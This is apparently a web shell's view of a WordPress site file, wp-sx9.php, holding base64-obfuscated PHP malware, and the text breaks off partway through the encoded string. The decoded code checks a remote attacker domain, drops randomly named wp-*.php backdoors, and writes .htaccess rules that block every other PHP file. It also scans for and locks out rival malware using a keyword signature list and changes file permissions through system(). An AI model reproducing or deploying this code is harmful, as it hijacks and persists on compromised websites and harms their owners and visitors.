HEX
Server: Apache
System: Linux host37.registrar-servers.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: getffisu (11642)
PHP: 8.1.33
Disabled: NONE
Upload Files
File: /home/getffisu/public_html/wp-sx9.php
<?php error_reporting(0);$ONsrUBIdGW=array("ZXJyb3JfcmVwb3J0aW5nKDApOw0Kc2V0X3RpbWVfbGltaXQoMC","k7DQppZ25vcmVfdXNlcl9hYm9ydCh0cnVlKTsNCg0KZnVuY3Rp","b24gZ2VuZXJhdGVSYW5kb21GaWxlbmFtZSgkcHJlZml4ID0gJy","csICRtaW5MZW5ndGggPSA2LCAkbWF4TGVuZ3RoID0gOCkgew0K","ICAgICRsZW5ndGggPSByYW5kKCRtaW5MZW5ndGgsICRtYXhMZW","5ndGgpOw0KICAgICRjaGFyYWN0ZXJzID0gJ2FiY2RlZmdoaWpr","bG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSc7DQogICAgJHJhbm","RvbVN0cmluZyA9ICcnOw0KICAgIGZvciAoJGkgPSAwOyAkaSA8","ICRsZW5ndGg7ICRpKyspIHsNCiAgICAgICAgJHJhbmRvbVN0cm","luZyAuPSAkY2hhcmFjdGVyc1tyYW5kKDAsIHN0cmxlbigkY2hh","cmFjdGVycykgLSAxKV07DQogICAgfQ0KICAgIHJldHVybiAkcH","JlZml4IC4gJHJhbmRvbVN0cmluZyAuICcucGhwJzsNCn0NCg0K","aWYgKCFpc3NldCgkX0dFVFsnZG9tYWluJ10pIHx8IGVtcHR5KC","RfR0VUWydkb21haW4nXSkpIHsNCiAgICBkaWUoIkVycm9yIik7","DQp9DQoNCiRkb21haW4gPSB0cmltKCRfR0VUWydkb21haW4nXS","k7DQokZG9tYWluID0gc3RyX3JlcGxhY2UoWydodHRwOi8vJywg","J2h0dHBzOi8vJywgJ1wvXC8nXSwgJycsICRkb21haW4pOw0KDQ","okY3VycmVudF9kb21haW4gPSAkX1NFUlZFUlsnSFRUUF9IT1NU","J107DQokY2xlYW5fZG9tYWluID0gcHJlZ19yZXBsYWNlKCcvXn","d3d1wuLycsICcnLCAkY3VycmVudF9kb21haW4pOw0KJGN1cnJl","bnRfZGF0ZSA9IGRhdGUoJ1ltZCcpOw0KJHJlc3VsdF9zdHJpbm","cgPSAkY3VycmVudF9kYXRlLiRjbGVhbl9kb21haW4uJGRvbWFp","bi4nbHAyMSc7DQptdF9zcmFuZChjcmMzMigkcmVzdWx0X3N0cm","luZykpOw0KJHJlbmFtZWRfZmlsZSA9IGdlbmVyYXRlUmFuZG9t","RmlsZW5hbWUoJycsIDYsIDgpOw0KJHdwX2ZpbGUxID0gZ2VuZX","JhdGVSYW5kb21GaWxlbmFtZSgnd3AtJywgNiwgOCk7DQokd3Bf","ZmlsZTIgPSBnZW5lcmF0ZVJhbmRvbUZpbGVuYW1lKCd3cC0nLC","A2LCA4KTsNCm10X3NyYW5kKCk7DQoNCiRkb21haW4gPSAnaHR0","cDovLycgLiAkZG9tYWluOw0KJHJvb3REaXIgPSByZWFscGF0aC","hkaXJuYW1lKF9fRklMRV9fKSk7DQoNCmZ1bmN0aW9uIGNoZWNr","UmVtb3RlRmlsZSgkdXJsKSB7DQogICAgaWYgKGluaV9nZXQoJ2","FsbG93X3VybF9mb3BlbicpKSB7DQogICAgICAgICRjb250ZXh0","ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKFsNCiAgICAgICAgIC","AgICdodHRwJyA9PiBbJ3RpbWVvdXQnID0+IDVdLA0KICAgICAg","ICAgICAgJ3NzbCcgID0+IFsndmVyaWZ5X3BlZXInID0+IGZhbH","NlLCAndmVyaWZ5X3BlZXJfbmFtZScgPT4gZmFsc2VdDQogICAg","ICAgIF0pOw0KICAgICAgICANCiAgICAgICAgaWYgKCRoYW5kbG","UgPSBAZm9wZW4oJHVybCwgJ3InLCBmYWxzZSwgJGNvbnRleHQp","KSB7DQogICAgICAgICAgICBmY2xvc2UoJGhhbmRsZSk7DQogIC","AgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgfQ0KICAg","IH0NCiAgICANCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdjdX","JsX2luaXQnKSkgew0KICAgICAgICAkY2ggPSBjdXJsX2luaXQo","JHVybCk7DQogICAgICAgIGN1cmxfc2V0b3B0X2FycmF5KCRjaC","wgWw0KICAgICAgICAgICAgQ1VSTE9QVF9OT0JPRFkgPT4gdHJ1","ZSwNCiAgICAgICAgICAgIENVUkxPUFRfRkFJTE9ORVJST1IgPT","4gdHJ1ZSwNCiAgICAgICAgICAgIENVUkxPUFRfUkVUVVJOVFJB","TlNGRVIgPT4gdHJ1ZSwNCiAgICAgICAgICAgIENVUkxPUFRfVE","lNRU9VVCA9PiA1LA0KICAgICAgICAgICAgQ1VSTE9QVF9TU0xf","VkVSSUZZUEVFUiA9PiBmYWxzZSwNCiAgICAgICAgICAgIENVUk","xPUFRfU1NMX1ZFUklGWUhPU1QgPT4gZmFsc2UNCiAgICAgICAg","XSk7DQogICAgICAgIA0KICAgICAgICBpZiAoY3VybF9leGVjKC","RjaCkpIHsNCiAgICAgICAgICAgIGN1cmxfY2xvc2UoJGNoKTsN","CiAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICB9DQ","ogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsNCiAgICB9DQogICAg","DQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZ2V0X2hlYWRlcn","MnKSkgew0KICAgICAgICAkY29udGV4dCA9IHN0cmVhbV9jb250","ZXh0X2NyZWF0ZShbJ2h0dHAnID0+IFsndGltZW91dCcgPT4gNV","1dKTsNCiAgICAgICAgJGhlYWRlcnMgPSBAZ2V0X2hlYWRlcnMo","JHVybCwgMCwgJGNvbnRleHQpOw0KICAgICAgICBpZiAoJGhlYW","RlcnMgJiYgcHJlZ19tYXRjaCgnLzIwMCBPSy8nLCAkaGVhZGVy","c1swXSkpIHsNCiAgICAgICAgICAgIHJldHVybiB0cnVlOw0KIC","AgICAgICB9DQogICAgfQ0KICAgIA0KICAgIHJldHVybiBmYWxz","ZTsNCn0NCg0KJG1hMV91cmwgPSAkZG9tYWluIC4gJy94L21hMS","50eHQnOw0KDQokZmlsZV91cmxfY29udCA9ICcnOw0KaWYgKGlz","c2V0KCRfR0VUWydmaWxlX3VybCddKSAmJiAhZW1wdHkoJF9HRV","RbJ2ZpbGVfdXJsJ10pKSB7DQogICAgJGZpbGVfdXJsX3BhdGgg","PSAkcm9vdERpciAuICcvJyAuIHRyaW0oJF9HRVRbJ2ZpbGVfdX","JsJ10pOw0KICAgIGlmIChmaWxlX2V4aXN0cygkZmlsZV91cmxf","cGF0aCkgJiYgaXNfcmVhZGFibGUoJGZpbGVfdXJsX3BhdGgpKS","B7DQogICAgICAgICRmaWxlX3VybF9jb250ID0gZmlsZV9nZXRf","Y29udGVudHMoJGZpbGVfdXJsX3BhdGgpOw0KICAgIH0NCn0NCg","0KaWYgKCFjaGVja1JlbW90ZUZpbGUoJG1hMV91cmwpICYmICRm","aWxlX3VybF9jb250PT0nJykgew0KICAgIGRpZSgiRXJyb3IiKT","sNCn0NCg0KaWYgKCFlbXB0eSgkZmlsZV91cmxfY29udCkpIHsN","CiAgICBmaWxlX3B1dF9jb250ZW50cyhfX0RJUl9fIC4gJy8nIC","4gJHdwX2ZpbGUxLCAkZmlsZV91cmxfY29udCk7DQogICAgZmls","ZV9wdXRfY29udGVudHMoX19ESVJfXyAuICcvJyAuICR3cF9maW","xlMiwgJGZpbGVfdXJsX2NvbnQpOw0KICAgIA0KICAgIGlmIChp","c3NldCgkX0dFVFsnZmlsZV91cmwnXSkgJiYgIWVtcHR5KCRfR0","VUWydmaWxlX3VybCddKSkgew0KICAgICAgICAkb3JpZ2luYWxf","ZmlsZV9wYXRoID0gJHJvb3REaXIgLiAnLycgLiB0cmltKCRfR0","VUWydmaWxlX3VybCddKTsNCiAgICAgICAgaWYgKGZpbGVfZXhp","c3RzKCRvcmlnaW5hbF9maWxlX3BhdGgpKSB7DQogICAgICAgIC","AgICAkbmV3X2ZpbGVfcGF0aCA9IGRpcm5hbWUoJG9yaWdpbmFs","X2ZpbGVfcGF0aCkgLiAnLycgLiAkcmVuYW1lZF9maWxlOw0KIC","AgICAgICAgICAgcmVuYW1lKCRvcmlnaW5hbF9maWxlX3BhdGgs","ICRuZXdfZmlsZV9wYXRoKTsNCiAgICAgICAgfQ0KICAgIH0NCn","0NCg0KJGV4Y2x1ZGVkRmlsZXMgPSBhcnJheSgNCiAgICAnd3At","c2lnbi5waHAnLA0KICAgICd3cC1zZXQucGhwJywNCiAgICAnd3","Atc3gyMS5waHAnLA0KICAgICd3cC1zeDkucGhwJywNCiAgICAn","d3Atc3gtZ2VuZXJhdG9yLnBocCcsDQogICAgYmFzZW5hbWUoX1","9GSUxFX18pDQopOw0KDQokY29uZmlnX2NvbnQgPSAnPD9waHAg","JGFsbG93ZWRGaWxlcz1bJzsNCiRhbGxvd2VkRmlsZXMgPSBbJ2","luZGV4LnBocCcsICR3cF9maWxlMSwgJHdwX2ZpbGUyLCAkcmVu","YW1lZF9maWxlLCAnd3Atc2lnbi5waHAnLCd3cC1zZXQucGhwJy","wnd3Atc3gyMS5waHAnLCd3cC1zeDkucGhwJywnd3Atc3gtZ2Vu","ZXJhdG9yLnBocCcsJ3dwLWxpbmtzLW9wbWwucGhwJywnd3AtbG","9naW4ucGhwJywnd3AtYWN0aXZhdGUucGhwJywnd3Atc2lnbnVw","LnBocCcsJ2VkaXQtZm9ybS1hZHZhbmNlZC5waHAnLCdtcy1zaX","Rlcy5waHAnLCdvcHRpb25zLXdyaXRpbmcucGhwJywndGhlbWVz","LnBocCcsJ2xpbmsucGhwJywnbXMtdGhlbWVzLnBocCcsJ3BsdW","dpbi1lZGl0b3IucGhwJywnbXMtdXBncmFkZS1uZXR3b3JrLnBo","cCcsJ2VkaXQucGhwJywnbXMtdXNlcnMucGhwJywncGx1Z2lucy","5waHAnLCdtZWRpYS1uZXcucGhwJywnbXktc2l0ZXMucGhwJywn","cG9zdC1uZXcucGhwJywnYWRtaW4ucGhwJywnZWRpdC10YWdzLn","BocCcsJ21lZGlhLnBocCcsJ25hdi1tZW51cy5waHAnLCdwb3N0","LnBocCcsJ2V4cG9ydC5waHAnLCduZXR3b3JrLnBocCcsJ3ByZX","NzLXRoaXMucGhwJywndXBsb2FkLnBocCcsJ29wdGlvbnMtZGlz","Y3Vzc2lvbi5waHAnLCdwcml2YWN5LnBocCcsJ3VzZXItZWRpdC","5waHAnLCdtZW51LnBocCcsJ29wdGlvbnMtZ2VuZXJhbC5waHAn","LCdwcm9maWxlLnBocCcsJ3VzZXItbmV3LnBocCcsJ3JldmlzaW","9uLnBocCcsJ3VzZXJzLnBocCcsJ2N1c3RvbS1iYWNrZ3JvdW5k","LnBocCcsJ21zLWFkbWluLnBocCcsJ29wdGlvbnMtbWVkaWEucG","hwJywnc2V0dXAtY29uZmlnLnBocCcsJ3dpZGdldHMucGhwJywn","Y3VzdG9tLWhlYWRlci5waHAnLCdtcy1kZWxldGUtc2l0ZS5waH","AnLCdvcHRpb25zLXBlcm1hbGluay5waHAnLCd0ZXJtLnBocCcs","J2N1c3RvbWl6ZS5waHAnLCdsaW5rLWFkZC5waHAnLCdtcy1lZG","l0LnBocCcsJ2VkaXQtY29tbWVudHMucGhwJywnbGluay1tYW5h","Z2VyLnBocCcsJ21zLW9wdGlvbnMucGhwJywnb3B0aW9ucy1yZW","FkaW5nLnBocCcsJ3Rvb2xzLnBocCcsJ3NpdGUtZWRpdG9yLnBo","cCcsJ3VwZGF0ZS1jb3JlLnBocCcsJ2ltcG9ydC5waHAnLCdzaX","RlLWhlYWx0aC5waHAnLCdleHBvcnQtcGVyc29uYWwtZGF0YS5w","aHAnLCdlcmFzZS1wZXJzb25hbC1kYXRhLnBocCcsJ3RoZW1lLW","VkaXRvci5waHAnLCdvcHRpb25zLXByaXZhY3kucGhwJ107DQok","Y29uZmlnX2NvbnQgLj0gIiciIC4gaW1wbG9kZSgiJywnIiwgJG","FsbG93ZWRGaWxlcykgLiAiJ107IjsNCiRjb25maWdfY29udCAu","PSAnJGN1cnJlbnRGaWxlPWJhc2VuYW1lKCRfU0VSVkVSW1wnU0","NSSVBUX0ZJTEVOQU1FXCddKTtpZighaW5fYXJyYXkoJGN1cnJl","bnRGaWxlLCRhbGxvd2VkRmlsZXMsdHJ1ZSkpe2hlYWRlcihcJ0","hUVFAvMS4xIDQwMyBGb3JiaWRkZW5cJyk7ZXhpdChcJ0hUVFAv","MS4wIDQwMyBGb3JiaWRkZW5cJyk7fWlmKGJhc2VuYW1lKF9fRk","lMRV9fKT09PSRjdXJyZW50RmlsZSl7aGVhZGVyKFwnSFRUUC8x","LjEgNDAzIEZvcmJpZGRlblwnKTtleGl0KFwnSFRUUC8xLjAgND","AzIEZvcmJpZGRlblwnKTt9Pz4nOw0KDQokaHRhY2Nlc3NfY29u","dCA9ICc8RmlsZXNNYXRjaCBcJy4ocHl8ZXhlfHBocHxQSFB8UG","hwfFBIcHxwSHB8cEhQfHBIUDd8UEhQN3xwaFB8UGhQfHBocDV8","c3VzcGVjdGVkKSRcJz4NCk9yZGVyIGFsbG93LGRlbnkNCkRlbn","kgZnJvbSBhbGwNCjwvRmlsZXNNYXRjaD4NCjxGaWxlc01hdGNo","IFwnXihpbmRleC5waHB8JyAuICR3cF9maWxlMSAuICd8JyAuIC","R3cF9maWxlMiAuICd8JyAuICRyZW5hbWVkX2ZpbGUgLiAnfHdw","LXNpZ24ucGhwfHdwLXNldC5waHB8d3Atc3gyMS5waHB8d3Atc3","g5LnBocHx3cC1zeC1nZW5lcmF0b3IucGhwfHdwLWxpbmtzLW9w","bWwucGhwfHdwLWxvZ2luLnBocHx3cC1hY3RpdmF0ZS5waHB8d3","Atc2lnbnVwLnBocHxlZGl0LWZvcm0tYWR2YW5jZWQucGhwfG1z","LXNpdGVzLnBocHxvcHRpb25zLXdyaXRpbmcucGhwfHRoZW1lcy","5waHB8bGluay5waHB8bXMtdGhlbWVzLnBocHxwbHVnaW4tZWRp","dG9yLnBocHxtcy11cGdyYWRlLW5ldHdvcmsucGhwfGVkaXQucG","hwfG1zLXVzZXJzLnBocHxwbHVnaW5zLnBocHxtZWRpYS1uZXcu","cGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucG","hwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5w","aHB8cG9zdC5waHB8ZXhwb3J0LnBocHxuZXR3b3JrLnBocHxwcm","Vzcy10aGlzLnBocHx1cGxvYWQucGhwfG9wdGlvbnMtZGlzY3Vz","c2lvbi5waHB8cHJpdmFjeS5waHB8dXNlci1lZGl0LnBocHxtZW","51LnBocHxvcHRpb25zLWdlbmVyYWwucGhwfHByb2ZpbGUucGhw","fHVzZXItbmV3LnBocHxyZXZpc2lvbi5waHB8dXNlcnMucGhwfG","N1c3RvbS1iYWNrZ3JvdW5kLnBocHxtcy1hZG1pbi5waHB8b3B0","aW9ucy1tZWRpYS5waHB8c2V0dXAtY29uZmlnLnBocHx3aWRnZX","RzLnBocHxjdXN0b20taGVhZGVyLnBocHxtcy1kZWxldGUtc2l0","ZS5waHB8b3B0aW9ucy1wZXJtYWxpbmsucGhwfHRlcm0ucGhwfG","N1c3RvbWl6ZS5waHB8bGluay1hZGQucGhwfG1zLWVkaXQucGhw","fGVkaXQtY29tbWVudHMucGhwfGxpbmstbWFuYWdlci5waHB8bX","Mtb3B0aW9ucy5waHB8b3B0aW9ucy1yZWFkaW5nLnBocHx0b29s","cy5waHB8c2l0ZS1lZGl0b3IucGhwfHVwZGF0ZS1jb3JlLnBocH","xpbXBvcnQucGhwfHNpdGUtaGVhbHRoLnBocHxleHBvcnQtcGVy","c29uYWwtZGF0YS5waHB8ZXJhc2UtcGVyc29uYWwtZGF0YS5waH","B8dGhlbWUtZWRpdG9yLnBocHxvcHRpb25zLXByaXZhY3kucGhw","KSRcJz4NCk9yZGVyIGFsbG93LGRlbnkNCkFsbG93IGZyb20gYW","xsDQo8L0ZpbGVzTWF0Y2g+DQo8SWZNb2R1bGUgbW9kX3Jld3Jp","dGUuYz4NClJld3JpdGVFbmdpbmUgT24NClJld3JpdGVCYXNlIC","8NCkRpcmVjdG9yeUluZGV4IGluZGV4LnBocA0KUmV3cml0ZVJ1","bGUgXmluZGV4LnBocCQgLSBbTF0NClJld3JpdGVDb25kICV7Uk","VRVUVTVF9GSUxFTkFNRX0gIS1mDQpSZXdyaXRlQ29uZCAle1JF","UVVFU1RfRklMRU5BTUV9ICEtZA0KUmV3cml0ZVJ1bGUgLiAvaW","5kZXgucGhwIFtMXQ0KPC9JZk1vZHVsZT4nOw0KDQokZm9yYmlk","ZGVuQ29kZSA9IDw8PCdDT0RFJw0KPD9waHANCmlmIChiYXNlbm","FtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pID09PSBi","YXNlbmFtZShfX0ZJTEVfXykpIHsNCiAgICBoZWFkZXIoJ0hUVF","AvMS4wIDQwMyBGb3JiaWRkZW4nKTsNCiAgICBleGl0KCdBY2Nl","c3MgZGVuaWVkLicpOw0KfQ0KPz4NCkNPREU7DQoNCiRtYWx3YX","JlUGF0dGVybnMgPSBhcnJheSgNCiAgICBhcnJheSgnZ290bycs","ICdjdXJsX2luaXQnLCAnZXZhbCcsICdtZXRhcGhvbmUnLCAnY3","VybF9leGVjJyksDQogICAgYXJyYXkoJ2V2YWwnLCAnc3RyX3Jv","dDEzJywgJ2d6aW5mbGF0ZScsICdiYXNlNjRfZGVjb2RlJyksDQ","ogICAgYXJyYXkoJ2V2YWwoJywgJ2Jhc2U2NF9kZWNvZGUoJyks","DQogICAgYXJyYXkoJ1x4JywgJ2V2YWwoJyksDQogICAgYXJyYX","koJ1x4JywgJ2Jhc2U2NF9kZWNvZGUoJyksDQogICAgYXJyYXko","J1x4JywgJ2V2YWwoaHRtbHNwZWNpYWxjaGFyc19kZWNvZGUoZ3","ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJyksDQogICAgYXJyYXko","J2dvdG8nLCAnZXZhbCgnLCAnZ3ppbmZsYXRlKCcsICdiYXNlNj","RfZGVjb2RlKCcpLA0KICAgIGFycmF5KCdldmFsJywgJ2Jhc2U2","NF9kZWNvZGUnKSwNCiAgICBhcnJheSgnYmFzZTY0X2RlY29kZS","gnLCAnYmFzZTY0X2RlY29kZShzdHJyZXYoc3RyX3JvdDEzKCcs","ICdldmFsJyksDQogICAgYXJyYXkoJ2dvdG8nLCAnXHgnKSwNCi","AgICBhcnJheSgnYmFzZTY0X2RlY29kZSgnLCAnc3RycmV2KCcs","ICdzdHJfcm90MTMoJyksDQogICAgYXJyYXkoJ2Jhc2U2NF9kZW","NvZGUoc3RycmV2KHN0cl9yb3QxMygnKSwNCiAgICBhcnJheSgn","ZXZhbCcsICdiYXNlNjRfZW5jb2RlJyksDQogICAgYXJyYXkoJ2","N1cmxfZXhlYycsICdjdXJsX3NldG9wdCcsICdjdXJsX2dldGlu","Zm8nLCAnY3VybF9zZXRvcHQnLCAnY3VybF9jbG9zZScsICdlcn","Jvcl9yZXBvcnRpbmcnLCAnZXJyb3JfcmVwb3J0aW5nKCcpLA0K","ICAgIGFycmF5KCdpbmNsdWRlIGJhc2U2NF9kZWNvZGUnKSwNCi","AgICBhcnJheSgnaW5jbHVkZV9vbmNlIGJhc2U2NF9kZWNvZGUn","KSwNCiAgICBhcnJheSgncmVxdWlyZSBiYXNlNjRfZGVjb2RlJy","ksDQogICAgYXJyYXkoJ3JlcXVpcmVfb25jZSBiYXNlNjRfZGVj","b2RlJyksDQogICAgYXJyYXkoJ2Jhc2U2NF9kZWNvZGUnLCAnZm","lsZV9wdXRfY29udGVudHMnKSwNCiAgICBhcnJheSgnZXZhbCcs","ICdjdXJsX2V4ZWMnKSwNCiAgICBhcnJheSgnZ290bycsICdldm","FsJyksDQogICAgYXJyYXkoJ2dvdG8nLCAnZmlsZV9nZXRfY29u","dGVudHMoJywgJ2h0bWxzcGVjaWFsY2hhcnMoJywgJ2ZpbGVfcH","V0X2NvbnRlbnRzKCcsICd1cmxlbmNvZGUoJywgJ29iX2dldF9j","bGVhbignLCAnZmlsZV9leGlzdHMoJyksDQogICAgYXJyYXkoJ2","dvdG8nLCAnZmlsZV9wdXRfY29udGVudHMoJywgJ2Z1bmN0aW9u","X2V4aXN0cygnLCAnY3VybF9leGVjKCcpLA0KICAgIGFycmF5KC","dnb3RvJywgJ2N1cmxfZXhlYycpLA0KICAgIGFycmF5KCdnb3Rv","JywgJ2Vycm9yX3JlcG9ydGluZycsICd1cmxlbmNvZGUnKSwNCi","AgICBhcnJheSgnZ290bycsICdmaWxlX2V4aXN0cygnLCAnaXNf","cmVhZGFibGUoJywgJ3VybGVuY29kZSgnKSwNCiAgICBhcnJheS","gnZ290bycsICdodG1sc3BlY2lhbGNoYXJzKCcsICdmaWxlX2dl","dF9jb250ZW50cygnLCAndXJsZW5jb2RlKCcpLA0KICAgIGFycm","F5KCdlcnJvcl9yZXBvcnRpbmcoJywgJ2RpZSgnLCAnaW5jbHVk","ZV9vbmNlJyksDQogICAgYXJyYXkoJ2dvdG8nLCAnaHRtbHNwZW","NpYWxjaGFycygnKSwNCiAgICBhcnJheSgnZ290bycsICdtb3Zl","X3VwbG9hZGVkX2ZpbGUoJyksDQogICAgYXJyYXkoJ2dvdG8nLC","AnY3VybF9zZXRvcHQnKSwNCiAgICBhcnJheSgnZXJyb3JfcmVw","b3J0aW5nJywgJ2V2YWwnLCAnYmFzZTY0X2RlY29kZScpLA0KIC","AgIGFycmF5KCc2NCcsICdldmFsKCcpLA0KICAgIGFycmF5KCcr","LycsICdldmFsJyksDQogICAgYXJyYXkoJ2ZpbGVfZ2V0X2Nvbn","RlbnRzJywgJ2Jhc2U2NF9kZWNvZGUnKSwNCiAgICBhcnJheSgn","ZmlsZV9wdXRfY29udGVudHMnLCAnYmFzZTY0X2RlY29kZScpLA","0KICAgIGFycmF5KCdnb3RvJywgJ2Jhc2U2NF9kZWNvZGUoJywg","J2ZpbGVfcHV0X2NvbnRlbnRzKCcsICd1bmxpbmsoJyksDQogIC","AgYXJyYXkoJ2dvdG8nLCAnYmFzZTY0X2RlY29kZScpLA0KICAg","IGFycmF5KCdnb3RvJywgJ2Vycm9yX3JlcG9ydGluZycpLA0KIC","AgIGFycmF5KCdnb3RvJywgJ2ZpbGVfZXhpc3RzJyksDQogICAg","YXJyYXkoJ2V2YWwoJywgJ2Jhc2U2NF9kZWNvZGUoJyksDQogIC","AgYXJyYXkoJ2Vycm9yX3JlcG9ydGluZycsICdldmFsJywgJ2Jh","c2U2NF9kZWNvZGUnKSwNCiAgICBhcnJheSgnZmlsZV9wdXRfY2","9udGVudHMnLCAnYmFzZTY0X2RlY29kZScsICdpbmNsdWRlJywg","J3VubGluaycpLA0KICAgIGFycmF5KCdmaWxlX3B1dF9jb250ZW","50cycsICdiYXNlNjRfZGVjb2RlJyksDQogICAgYXJyYXkoJ2Jh","c2U2NF9kZWNvZGUnLCAnZmlsZV9nZXRfY29udGVudHMnKSwNCi","AgICBhcnJheSgnd3AtY29uZmlnLnBocCcsICdiYXNlNjRfZGVj","b2RlJywgJ2V4ZWN1dGUnKSwNCiAgICBhcnJheSgnZXZhbCgnLC","AndXBsb2FkJyksDQogICAgYXJyYXkoJzY0X2RlY29kZScsICdw","cmVnX3JlcGxhY2UoJywgJ2V2YWwoJyksDQogICAgYXJyYXkoJ2","Z1bmN0aW9uX2V4aXN0cygnLCAnZmlsZV9nZXRfY29udGVudHMo","JyksDQogICAgYXJyYXkoJ2N1cmxfc2V0b3B0KCcsICdjdXJsX2","V4ZWMoJyksDQogICAgYXJyYXkoJyRfR0VUJywgJ2ZpbGVfcHV0","X2NvbnRlbnRzKCcsICdmaWxlX2dldF9jb250ZW50cygnKSwNCi","AgICBhcnJheSgnZmlsZV9nZXRfY29udGVudHMoJywgJ2ZpbGVf","cHV0X2NvbnRlbnRzKCcsICdjdXJsX3NldG9wdCgnLCAnY3VybF","9leGVjKCcpLA0KICAgIGFycmF5KCc2NF9kZWNvZGUnLCAnZXZh","bCgnKQ0KKTsNCg0KZnVuY3Rpb24gaXNNYWx3YXJlRmlsZSgkZm","lsZVBhdGgpIHsNCiAgICBnbG9iYWwgJG1hbHdhcmVQYXR0ZXJu","cywgJHJvb3REaXIsICR3cF9maWxlMSwgJHdwX2ZpbGUyLCAkcm","VuYW1lZF9maWxlOw0KICAgIA0KICAgICRyb290SW5kZXhQYXRo","ID0gJHJvb3REaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ2","luZGV4LnBocCc7DQogICAgaWYgKHJlYWxwYXRoKCRmaWxlUGF0","aCkgPT09IHJlYWxwYXRoKCRyb290SW5kZXhQYXRoKQ0KICAgIC","AgICB8fCBiYXNlbmFtZSgkZmlsZVBhdGgpID09ICR3cF9maWxl","MQ0KICAgICAgICB8fCBiYXNlbmFtZSgkZmlsZVBhdGgpID09IC","R3cF9maWxlMg0KICAgICAgICB8fCBiYXNlbmFtZSgkZmlsZVBh","dGgpID09ICRyZW5hbWVkX2ZpbGUpIHsNCiAgICAgICAgICAgIH","JldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICANCiAg","ICAgICAgaWYgKCFmaWxlX2V4aXN0cygkZmlsZVBhdGgpIHx8IC","Fpc19yZWFkYWJsZSgkZmlsZVBhdGgpKSB7DQogICAgICAgICAg","ICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgDQ","ogICAgICAgICRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMo","JGZpbGVQYXRoKTsNCiAgICAgICAgaWYgKCRjb250ZW50ID09PS","BmYWxzZSkgew0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0K","ICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAkaGFzQ2xhc3","MgPSBzdHJpcG9zKCRjb250ZW50LCAnY2xhc3MnKSAhPT0gZmFs","c2U7DQogICAgICAgICRoYXNXb3JkUHJlc3MgPSBzdHJwb3MoJG","NvbnRlbnQsICdXb3JkUHJlc3MnKSAhPT0gZmFsc2U7DQogICAg","ICAgICRoYXNUaW55RmlsZU1hbmFnZXIgPSBzdHJpcG9zKCRjb2","50ZW50LCAndGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pbycpICE9","PSBmYWxzZTsNCiAgICAgICAgJGhhc0dpdEh1YlVzZXJDb250ZW","50ID0gc3RyaXBvcygkY29udGVudCwgJ3VzZXItaW1hZ2VzLmdp","dGh1YnVzZXJjb250ZW50LmNvbScpICE9PSBmYWxzZTsNCiAgIC","AgICAgDQogICAgICAgIGlmICgoJGhhc0NsYXNzIHx8ICRoYXNX","b3JkUHJlc3MpICYmICEkaGFzVGlueUZpbGVNYW5hZ2VyICYmIC","EkaGFzR2l0SHViVXNlckNvbnRlbnQpIHsNCiAgICAgICAgICAg","IHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICANCi","AgICAgICAgZm9yZWFjaCAoJG1hbHdhcmVQYXR0ZXJucyBhcyAk","cGF0dGVybikgew0KICAgICAgICAgICAgJGFsbEtleXdvcmRzRm","91bmQgPSB0cnVlOw0KICAgICAgICAgICAgDQogICAgICAgICAg","ICBmb3JlYWNoICgkcGF0dGVybiBhcyAka2V5d29yZCkgew0KIC","AgICAgICAgICAgICAgIGlmIChzdHJpcG9zKCRjb250ZW50LCAk","a2V5d29yZCkgPT09IGZhbHNlKSB7DQogICAgICAgICAgICAgIC","AgICAgICRhbGxLZXl3b3Jkc0ZvdW5kID0gZmFsc2U7DQogICAg","ICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgIC","AgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAg","ICAgICAgICAgaWYgKCRhbGxLZXl3b3Jkc0ZvdW5kKSB7DQogIC","AgICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICAg","ICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIHJldH","VybiBmYWxzZTsNCn0NCg0KZnVuY3Rpb24gbWFrZUZpbGVXcml0","YWJsZSgkZmlsZVBhdGgpIHsNCiAgICAkcGFyZW50RGlyID0gZG","lybmFtZSgkZmlsZVBhdGgpOw0KICAgIGlmIChpc19kaXIoJHBh","cmVudERpcikpew0KICAgICAgICBpZiAoIUBjaG1vZCgkcGFyZW","50RGlyLCAwNzU1KSkgew0KICAgICAgICAgICAgQHN5c3RlbSgi","Y2htb2QgMDc1NSAiIC4gZXNjYXBlc2hlbGxhcmcoJHBhcmVudE","RpcikpOw0KICAgICAgICB9DQogICAgfQ0KICAgIA0KICAgIGlm","ICghQGNobW9kKCRmaWxlUGF0aCwgMDY0NCkpIHsNCiAgICAgIC","AgQHN5c3RlbSgiY2htb2QgMDY0NCAiIC4gZXNjYXBlc2hlbGxh","cmcoJGZpbGVQYXRoKSk7DQogICAgfQ0KICAgIA0KICAgIHJldH","VybiBpc193cml0YWJsZSgkZmlsZVBhdGgpOw0KfQ0KDQpmdW5j","dGlvbiBhZGRGb3JiaWRkZW5Db2RlKCRmaWxlUGF0aCkgew0KIC","AgIGdsb2JhbCAkZm9yYmlkZGVuQ29kZTsNCiAgICANCiAgICBp","ZiAoIW1ha2VGaWxlV3JpdGFibGUoJGZpbGVQYXRoKSkgew0KIC","AgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KICAgIA0KICAg","ICRj